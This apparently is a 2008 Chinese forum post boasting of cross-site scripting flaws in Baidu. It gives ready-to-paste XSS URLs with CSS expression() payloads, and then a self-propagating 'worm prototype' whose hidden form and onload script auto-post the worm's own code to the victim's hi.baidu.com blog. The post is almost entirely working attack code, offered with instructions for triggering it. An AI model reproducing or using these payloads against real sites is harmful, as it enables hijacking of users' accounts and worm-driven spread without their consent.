呵呵，这次是百度倒霉！
http://www.baidu.com/index.php?tn="/**/style=xss:expression(alert('sunzn-xss'));
http://www.baidu.com/index.php?bar="/**/style=xss:expression(alert('sunzn-xss'));
复制代码的时候一定要连后面的分号也复制到地址栏中，才能看到XXS的效果！
下面还有一个Worm原型
Run Once：
http://www.baidu.com/index.php?bar="/**/style=xss:expression((window.r!=1)?eval('window.r=1;eval(unescape(location.hash.substr(1)))'):1);#alert%28%29
<div id="xssworm">.
<form name="form1" id="popFormSubmit" action="" method="post">
<input type="hidden" name="ct" value="1">
<input type="hidden" name="cm" value="1">
<input type="hidden" id="url" name="spRefURL" value="">
<input type="hidden" id="title" name="spBlogTitle" value="百度又有新漏洞啦">
<input type="hidden" id="content" name="spBlogText" value="">
<input type="hidden" name="spBlogCatName" value="默认分类">
<input type="hidden" name="spIsCmtAllow" value="1">
<input type="hidden" name="spBlogPower" value="0">
<input type="hidden" name="spVcode" value="">
<input type="hidden" name="spVerifyKey" value="">
<input type="hidden" name="tj" value=" 发表文章 " >
</form>
<script>
function $(i){return document.getElementById(i);}
window.onload = function(){
var j=document.body.innerText;
var i=j.indexOf("|");
j=j.substr(0,i);
form1.action = "http://hi.baidu.com/"+j+"/commit";
$("content").value = escape($("xssworm").outerHTML);
form1.submit();
}
</script>
</div>
[
本帖最后由 sunzn 于 2008-6-30 22:10 编辑 ]
